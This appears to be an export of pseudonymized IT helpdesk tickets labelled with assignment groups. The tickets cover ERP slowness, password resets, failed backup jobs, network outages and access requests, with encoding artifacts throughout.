, is assigned to Assignment group: GRP\_19.Ticket with Short description: EU\_tool funktioniert nicht, Description: EU\_tool funktioniert nicht, is assigned to Assignment group: GRP\_25.Ticket with Short description: job bkwin\_search\_server\_prod\_daily failed in job\_scheduler at: 83.69.48.194 23:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_search\_server\_prod\_daily failed in job\_scheduler at: 83.69.48.194 23:52:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: reinecker wzs 60 r 241 abteilung kentip, Description: pc fÃ¤hrt nach neustart nicht mehr hoch bzw. bricht wÃ¤hrend der hochfahrsequenz den bootvorgang ab, bitte Ã¼berprÃ¼fen, danke. , is assigned to Assignment group: GRP\_33.Ticket with Short description: erp is too slow, Description: name:zheqafyo bqirpxag
language:
browser:microsoft internet explorer
email:cowsvzel.ryhkefwv@gmail.com
customer number:
telephone:
summary:erp is too slow
, is assigned to Assignment group: GRP\_14.Ticket with Short description: users from various department are complaining slow response in erp, engineering tool, engineering tool, etc., Description: users from various department are complaining slow response in erp, engineering tool, engineering tool, etc. & unable to work., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3052 failed in job\_scheduler at: 83.69.48.194 23:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3052 failed in job\_scheduler at: 83.69.48.194 23:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: circuit outage:usa plant - (company) secondary vpn is down since 11:08 pm on 10/20 et.site up on primary global\_telecom\_1, Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_11:08 pm on 10/20 et\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_na\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_na\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 system down, Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi
plant\_298 encounter erp SID\_34 system down, due to this issue we may or may not able to fulfill (local) orders for today it depend on how fast the system will be up.
i have raise it ticket inc1562584.
nsdwd mwdddlleh
operation supervisor
company distribution services of asia pte ltd
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_14.Ticket with Short description: unable to check pay slip in hr\_tool , Description: unable to check pay slip in hr\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: erpå¯†ç å¿˜è®° id: fenthgh45 erp password was forgotten, Description:
received from: jmxqhrfa.vawptbfl@gmail.com
æ‚¨å¥½ï¼Œit
erpå¯†ç å¿˜è®° id: fenthgh45 erp password was forgotten
and self-service system password was forgotten, too.
é‡ç½®å¯†ç ç½‘ç«™ çš„ç™»å½•å¯†ç ä¹Ÿå¿˜è®°äº†
even worse, all systems were locked.
å‡å·²ç»è¢«é”
do me a fever to unlock them
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp runs very slow in apac, Description: agents have to wait minutes for each operation of erp., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp response time is very slow, Description: as we found that the erp response time (speed) is very slow this morning, please help chek and fix this issue aerp., , is assigned to Assignment group: GRP\_0.Ticket with Short description: plant\_298 erp SID\_34 system slow, Description: \_x000D\_
\_x000D\_
received from: rxoynvgi.ntgdsehl@gmail.com\_x000D\_
\_x000D\_
hi it team\_x000D\_
\_x000D\_
kindly please assist to check, plant\_298 encounter erp SID\_34 system slow between 9am to 11:30am daily. , is assigned to Assignment group: GRP\_0.Ticket with Short description: pls. help to check erp due to slow response,thx!, Description: pls. help to check erp due to slow response,thx!, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 83.69.48.194 22:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 83.69.48.194 22:21:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_957 & 662 fence, Description: HostName\_957 & 662 fence are at 11 instead of 9, is assigned to Assignment group: GRP\_8.Ticket with Short description: a termination for hwddwwd wdflefrong, 11175wdnwe363, effective 09/16/2016 has been approved. , Description: a termination for hwddwwd wdflefrong, 11175wdnwe363, effective 09/16/2016 has been approved. , is assigned to Assignment group: GRP\_2.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 83.69.48.194 21:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 83.69.48.194 21:39:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: terminate action for svfuhlnx aqrzskpg has completed, Description: \_x000D\_
a termination for svfuhlnx aqrzskpg, 11177614, effective 09/01/2016 has been approved. \_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: old emails, Description: \_x000D\_
\_x000D\_
received from: pojhkxua.frpxtsca@gmail.com\_x000D\_
\_x000D\_
how do i access my earlier work emails?\_x000D\_
dell desktop doesn't pull up mails older than april 2015 !\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_27.Ticket with Short description: job SID\_39hotf failed in job\_scheduler at: 83.69.48.194 20:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39hotf failed in job\_scheduler at: 83.69.48.194 20:50:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 20:47:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 20:47:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_38hotf failed in job\_scheduler at: 83.69.48.194 20:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_38hotf failed in job\_scheduler at: 83.69.48.194 20:48:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_564 failed in job\_scheduler at: 83.69.48.194 20:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
backup statistics:\_x000D\_
\_x000D\_
session queuing time (hours) 0.00 \_x000D\_
------------------------------------------- \_x000D\_
completed disk agents ........ 2 \_x000D\_
failed disk agents ........... 0 \_x000D\_
aborted disk agents .......... 0 \_x000D\_
------------------------------------------- \_x000D\_
disk agents total ........... 2 \_x000D\_
=========================================== \_x000D\_
completed media agents ....... 1 \_x000D\_
failed media agents .......... 3 \_x000D\_
aborted media agents ......... 0 \_x000D\_
------------------------------------------- \_x000D\_
media agents total .......... 4 \_x000D\_
=========================================== \_x000D\_
mbytes total ................. 601 mb \_x000D\_
used media total ............. 1 \_x000D\_
disk agent errors total ...... 0 \_x000D\_
\_x000D\_
job Job\_564 failed in job\_scheduler at: 83.69.48.194 20:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_79hot failed in job\_scheduler at: 83.69.48.194 19:57:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[major] from: bma@HostName\_1302.hq.company.com "lib6\_drive10" time: 83.69.48.194 7:56:31 pm\_x000D\_
[90:51] /dev/rmt46.1\_x000D\_
cannot write to device ([5] i/o error)\_x000D\_
\_x000D\_
job SID\_79hot failed in job\_scheduler at: 83.69.48.194 19:57:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_79hot failed in job\_scheduler at: 83.69.48.194 19:19:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_79hot failed in job\_scheduler at: 83.69.48.194 19:19:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: windows password reset request, Description: windows password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_555 failed in job\_scheduler at: 83.69.48.194 19:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_555 failed in job\_scheduler at: 83.69.48.194 19:11:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to log in to ethics, Description: unable to log in to ethics, is assigned to Assignment group: GRP\_23.Ticket with Short description: query to send a skype meeting, Description: query to send a skype meeting, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to home printer, Description: unable to connect to home printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access required, Description:
received from: naruedlk.mpvhakdq@gmail.com
dear it team,
please usa read and write access on the following two folders to me (dnqdqld).
\\HostName\_645\departments\personal<file:///\\HostName\_645\departments\personal>
\\HostName\_753\departments\pesonal<file:///\\HostName\_753\departments\pesonal>
, is assigned to Assignment group: GRP\_12.Ticket with Short description: ticket update inplant\_871302, Description: ticket update inplant\_871302, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue :ms crm dynamics, Description: outlook issue :ms crm dynamics, is assigned to Assignment group: GRP\_0.Ticket with Short description: please usa sasqkjqh lwddkqddq access to printer cl74\_ps per lpoebzsc grknswyo, Description: please usa sasqkjqh lwddkqddq access to printer cl74\_ps per lpoebzsc grknswyo, is assigned to Assignment group: GRP\_0.Ticket with Short description: password update query , Description: password update query , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn query for user vvtdfettc67, Description: vpn query for user vvtdfettc67, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform - industrial, Description: \_x000D\_
\_x000D\_
received from: okmhzgcq.wzvetbqa@gmail.com\_x000D\_
\_x000D\_
good afternoon â€“\_x000D\_
can you please add a new library heading ( talent review) to the library area. can you also remove kristina cope as the owner of this portion of this page. please use myself, mtdyuhki fdnrxaci and ifblxjmc dyrgfwbm to this page.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d22ae8.0c3cb4d0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 15:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 15:02:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: erp station in castings is not working., Description: erp station in castings is not working., is assigned to Assignment group: GRP\_3.Ticket with Short description: dalmdwppi56 pc in castings is not working., Description: dalmdwppi56 pc in castings is not working., is assigned to Assignment group: GRP\_3.Ticket with Short description: no boot, Description: no boot, is assigned to Assignment group: GRP\_0.Ticket with Short description: my outlook doesnÂ´t work. , Description: in last fourth weeks i have same problem. i start outlook. outlook is opening but it doesnÂ´t open. it was 3 times fixed by our it service technician but it help always for one week and than it appeares again. please help me to fix it.
my phone number is . i will be at home tomorrow afternoon from 15:30.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 : account lock out , Description: erp SID\_34 : account lock out , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to get a delivery to create for 5019322902, mm# 7275831 , Description: i believe apo is out of synch and cif programdnty may need to be run. the sto was created 10/07/2016. inventory received at 1:18 this afternoon. next bop job is not scheduled until after 6 pm. this sto needs to ship before then. , is assigned to Assignment group: GRP\_45.Ticket with Short description: ticket update on inplant\_871350, Description: ticket update on inplant\_871350, is assigned to Assignment group: GRP\_0.Ticket with Short description: quoting engine: error , Description: quoting engine: error , is assigned to Assignment group: GRP\_14.Ticket with Short description: password reset , Description: 413475046745
reset outlook password for theecanse wdleell (his windows logon password is different since he doesn't log on to
company), is assigned to Assignment group: GRP\_0.Ticket with Short description: guest internet access., Description:
received from: etnroabk.jkvshlfm@gmail.com
i am having trouble with getting internet guest access for the person below.
skads wdlmdwwck
technician engineering - usa plant
etnroabk.jkvshlfm@gmail.com<mailto:etnroabk.jkvshlfm@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: files on servers not available. files cannot be opened.HostName\_1326, Description: details provided when trying to open a file only states "the file is corrupt and cannot be opened." multiple files noticed since wednesday, october 19, 2016, at plant\_3 have become unavailable. confirmation of unavailable files from different departments. no e-mail of notice regarding any possible server changes., is assigned to Assignment group: GRP\_12.Ticket with Short description: modem in the idg area is down at the usa plant, Description: contact # :
summary:modem in the idg area is down at the usa plant, is assigned to Assignment group: GRP\_4.Ticket with Short description: interface 'serial0/0/0 and serial0/1/1:0 Â· connection to usa plant is down since 12:45 pm et on 10/20., Description: interface 'serial0/0/0 and serial0/1/1:0 Â· connection to usa plant is down since 12:45 pm et on 10/20., is assigned to Assignment group: GRP\_8.Ticket with Short description: ad account locked out , Description: ad account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: multiple location across europe went down at 11:50am et on 10/20, please find the attached., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_11:50am et on 10/20\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_yes\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: citrix access. , Description:
received from: lenxvcbq.vwnhjtoi@gmail.com
i am getting a certificate error trying to access hfyujqti jdcbiezxs. see attached.
hddwdw lwdwdwdr
lenxvcbq.vwnhjtoi@gmail.com<
, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp SID\_34 password reset request , Description: erp SID\_34 password reset request , is assigned to Assignment group: GRP\_0.Ticket with Short description: symantec pop query : ran quick scan and deleted cookies., Description: symantec pop query : ran quick scan and deleted cookies., is assigned to Assignment group: GRP\_3.Ticket with Short description: access to http:://bddjwwwdw/ for axcbfuqo yiagubvh, Description: axcbfuqo yiagubvh no longer has access to http:://bddjwwwdw/. he needs access.
please see the attached email from gilles.
good morning,
there is a very long time that i did not contacted the team and youâ€¦..
i am in india for 2 weeks and work with the team using the new equipment.
i need your help because i am not anymore able to be connected to:
application where i was able to make a consultation.
i received this following message.
can you help to have this connection working again?
i have also the competitive databse but this is still working well.
, is assigned to Assignment group: GRP\_25.Ticket with Short description: unable to connect to outlook , Description: unable to connect to outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: error with customization (engineering tool) - erp plam and company tools, Description: hi team,
i need your help with two error the customization the (engineering tool). the two errors attachment in ticket.
erro computer: lpawty8515404 - diwhdd jwddkwor and lpawty8515494 - gsotqxfi lidunfjg
if you have more doubts please contatc me.
, is assigned to Assignment group: GRP\_46.Ticket with Short description: job Job\_3051 failed in job\_scheduler at: 83.69.48.194 12:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3051 failed in job\_scheduler at: 83.69.48.194 12:38:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: mobile device activation : company owned , Description:
summary:need phone to connect to outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook outage, Description:
received from: dxwuovgs.lmuxizht@gmail.com
hello,
is outlook down? i can't seem to connect on laptop remotely.
please advise.
sent from my iphone
dxwuovgs lmuxizht
sr. sales engineer
dxwuovgs.lmuxizht@gmail.com<mailto:dxwuovgs.lmuxizht@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent - please create tax code a0 in cc54yks09., Description: please create tax code a0 in cc54yks09.this is really urgent, as we have to post vat inwarehouse\_tool by the end of the week.
background:
there was an export of goods from this location to germany (from plant\_212 to plant\_105).
delivery 9041183500, sto - 5019291372, vat inwarehouse\_tool 0461363360 â€“ is not posted in finance.
, is assigned to Assignment group: GRP\_10.Ticket with Short description: crm access issue, Description: hi, poland cannot log into crm. all users in poland, is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 83.69.48.194 11:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 83.69.48.194 11:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: email license, Description: i need to check on email license for production leads.
28246727 dwwkd wdjwd usa wdnwk
28228474 wdwmd wdkfww usa whwdiuw
27144424 wdnwwl kwfwdw usa wdkwdwd, is assigned to Assignment group: GRP\_0.Ticket with Short description: can not sign into crm or single sign on portal on the hub. , Description: can not sign into crm or single sign on portal on the hub. it states my password is not correct. this is the password i use for all other access points in company., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: calibration system printer, Description: printer dymo labelwriter 450 turbo is not working, can't print calibration label for our gages., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to change password, Description: unable to change password, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to sso : one team : it never worked , Description: not able to login to sso : one team : it never worked \_x000D\_
refer ticket : ticket\_no0446943, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 10:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 10:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pc rqxw8515267 setup for remote company use cannot be logged in to, it appears the domain membership is broken., Description: pc rqxw8515267 setup for remote company use cannot be logged in to, it appears the domain membership is broken., is assigned to Assignment group: GRP\_3.Ticket with Short description: bdwdwarbara needs the permissions to save to the folder (srvlavstorage01)( j):toolroom/tooling documentation , Description: bdwdwarbara needs the permissions to save to the folder (srvlavstorage01)( j):toolroom/tooling documentation , is assigned to Assignment group: GRP\_12.Ticket with Short description: needs access to server \\HostName\_852\drafting\itar to the user-wdwddw wwdyuan(yqddquanw), read only access, Description: the name of the employee who needs access is wdwddw wwdyuan(yqddquanw), employee number 2807162637
the file is located on our operations drive (v drive)then sub file drafting, then sub file itar. this was set up by our own it guy before he was laid off, is assigned to Assignment group: GRP\_12.Ticket with Short description: need access to ess, Description: need access to ess, is assigned to Assignment group: GRP\_2.Ticket with Short description: engineering\_tool installation, Description: engineering\_tool installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool for plant plant\_197 is working very slowly. please help here immediately. thanks, Description: EU\_tool for plant plant\_197 is working very slowly. please help here immediately. , is assigned to Assignment group: GRP\_25.Ticket with Short description: crm issue : ms ouutlook issue , Description: crm issue : ms outlook issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: user needs help to login to the mii., Description: user needs help to login to the mii.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool, pdv, batch management does not work , Description: working with the systems is almost impossible. the processing of orders is no longer possible at the moment \_x000D\_
das arbeiten mit den systemen ist fast nicht mÃ¶glich. das abarbeiten von auftrÃ¤gen ist zur zeit nicht mehr mÃ¶glich, is assigned to Assignment group: GRP\_25.Ticket with Short description: xvwchsdg pladjmxt - employee termination pn, Description: gehe einmal davon aus das herr aurwddwacher zum ende oktober das unternehmen verlÃ¤sst bzw. in ruhestand/rente geht.
im prozess der lÃ¶schung des accounts (ticketing\_tool â€“ vorlage employee status termination) kann unter â€žspecial instuctrion" eine sogenannte delegation angegeben werden.
somit erhÃ¤lt derjenige dem die postfach delegiert wurde zugriff fÃ¼r einen bestimmten zeitraum.
die vorlage wird normalerweise vom vorgesetzten / bzw. zustÃ¤ndigen hr-abteilung ausgefÃ¼llt und sollte mit beiden abgesprochen werden.
, is assigned to Assignment group: GRP\_33.Ticket with Short description: please reset my SID\_34 password , Description:
received from: azxhejvq.fyemlavd@gmail.com
userid waldjrrm667
, is assigned to Assignment group: GRP\_0.Ticket with Short description: user needs help to login to the collaboration\_platform site., Description: user needs help to login to the collaboration\_platform site.\_x000D\_
-provided the user the email id and password after verifying the user details.\_x000D\_
-advised the user to try and login to the collaboration\_platform.\_x000D\_
-user confirmed he is now able to login to the collaboration\_platform.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: account lockout, Description: account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook table view incorrect, Description: outlook table view incorrect, is assigned to Assignment group: GRP\_0.Ticket with Short description: computer problem, Description: \_x000D\_
\_x000D\_
received from: uskydftv.sgwbfkjz@gmail.com\_x000D\_
\_x000D\_
dear, i was not able to go on internet since this morning. an itbof germany was not able to log in. we have tried so much that the pasword is locked. i have the message: your password has expired and must be changed. please forward me the new password. , is assigned to Assignment group: GRP\_0.Ticket with Short description: design pane not showing up in "analysis for ms excel", Description: hello,\_x000D\_
\_x000D\_
when i use analysis for ms excel now, i can't see the design pane even when option is turned on (refer to screenshot). i was able to see design pane earlier without problem. the only major change on my pc is recently i upgraded to office 2016 suite. can you please help bring my design pane back? , is assigned to Assignment group: GRP\_0.Ticket with Short description: browser issue : flash player and addins issue, Description: browser issue : flash player and addins issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to do pgi del. 9169653789- customer vale - co account assignments have different profit centers, Description: not able to do pgi for delivery 9169653789- customer 81936871 - vale -td order 35038980 . \_x000D\_
itens 3546297-3 pieces /3546296-3 pieces/7150128-4 pieces/7150129-4 pieces . \_x000D\_
urgente uacyltoe hxgaycze for customer \_x000D\_
\_x000D\_
error - \_x000D\_
co account assignments have different profit centers\_x000D\_
message no. bk134\_x000D\_
\_x000D\_
diagnosis\_x000D\_
you entered multiple co account assignments objects assigned to different profit centers. in a document item, however, all co account assignments objects with profit center assignments must be assigned to the same profit center.\_x000D\_
\_x000D\_
procedure\_x000D\_
if the message is an error message, check and change the co account assignments objects so that all objects with profit center assignments are assigned to the same profit center.\_x000D\_
\_x000D\_
in customizing, you can change this message from an error message to a warning message, a notification, or you can deactivate it completely. to do so, see the implementation guide (img) step under "controlling: general -> change message control" (message class bk, message 134).\_x000D\_
, is assigned to Assignment group: GRP\_44.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: bex analyzer report not working, Description: i open bex analyzer and connect to SID\_37\_x000D\_
i try to open report [xhlg\_pmm\_atm] product management - master at m\_x000D\_
the window to "select values for variables" appears, no available variants, data provider 1 is set to 1 for finance.\_x000D\_
i click ok, the system sits and does nothing. eventually i get a "microsoft excel not responding" error.\_x000D\_
\_x000D\_
is there something wrong with the system? is there something wrong with my settings?\_x000D\_
\_x000D\_
i need to pull reports for an external auditor so it is rather urgent that i get this fixed quickly.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot print on usa printer prtqx4580 any longer. please fix., Description: cannot print on usa printer prtqx4580 any longer. please fix., is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to print from the printer qc0567, Description: unable to print from the printer qc0567, is assigned to Assignment group: GRP\_0.Ticket with Short description: i need to have k-rckf grind added to my microsoft email., Description: no one has helped me with this. i am not sure why this was closed out when i had received no help?, is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable to connect at the companysecure at office., Description: user unable to connect at the companysecure at office.
-checked the network connection settings.
-enabled the network connections.
-updated the network drivers .
-updated the bios on the pc.
-restarted the pc.
-user iformed he is ina meeting and will call tomorrow.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: barcode Ã¼ber word etikettendruck , Description: ich will im etikettendruck eine zahlen buchstaben drucken als barcode Ã¼ber word etikettendruck
mit der schriftart coSID\_4428 geht dies nicht das ich es mit einer scanpistole lesen kann
phone: , is assigned to Assignment group: GRP\_42.Ticket with Short description: job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 07:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hotf failed in job\_scheduler at: 83.69.48.194 07:43:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: folder access required, Description:
received from: naruedlk.mpvhakdq@gmail.com
dear it team,
please usa read and write access on the following two folders to me (webr3gers45).
\\HostName\_645\departments\personal<file:///\\HostName\_645\departments\personal>
\\HostName\_753\departments\pesonal<file:///\\HostName\_753\departments\pesonal>
, is assigned to Assignment group: GRP\_34.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1309 failed in job\_scheduler at: 83.69.48.194 07:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1309 failed in job\_scheduler at: 83.69.48.194 07:16:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: bitte user gogtyektdgwo richtig einstellen .nach anmeldung fehlen alle netzlaufwerke, Description: bitte user gogtyektdgwo richtig einstellen .nach anmeldung fehlen alle netzlaufwerke, is assigned to Assignment group: GRP\_12.Ticket with Short description: called in to get in touch with ecwtrjnq jpecxuty, Description: called in to get in touch with ecwtrjnq jpecxuty, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip1: account unlock, Description: vip1: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: support fÃ¼r roboworker \sandstrahlen \xwirzvda okhyipgr, Description: support fÃ¼r roboworker \sandstrahlen \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \lndypaqg dhqwtcsr, Description: setup new ws \lndypaqg dhqwtcsr, is assigned to Assignment group: GRP\_24.Ticket with Short description: ticket update for-ticket\_no0447000, Description: ticket update for-ticket\_no0447000, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:india -admin-4503-core-sw01 is down.at 6:27 am et on 10/20., Description: circuit outage:india -admin-4503-core-sw01 is down.at 6:27 am et on 10/20., is assigned to Assignment group: GRP\_8.Ticket with Short description: circuit outage: company-ap-ind-telecom\_vendor\_1-dmvpn-2921-rtr01 is down since 83.69.48.194 6:26 am et. site is up telecom\_vendor\_3., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_ 83.69.48.194 6:26 am et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
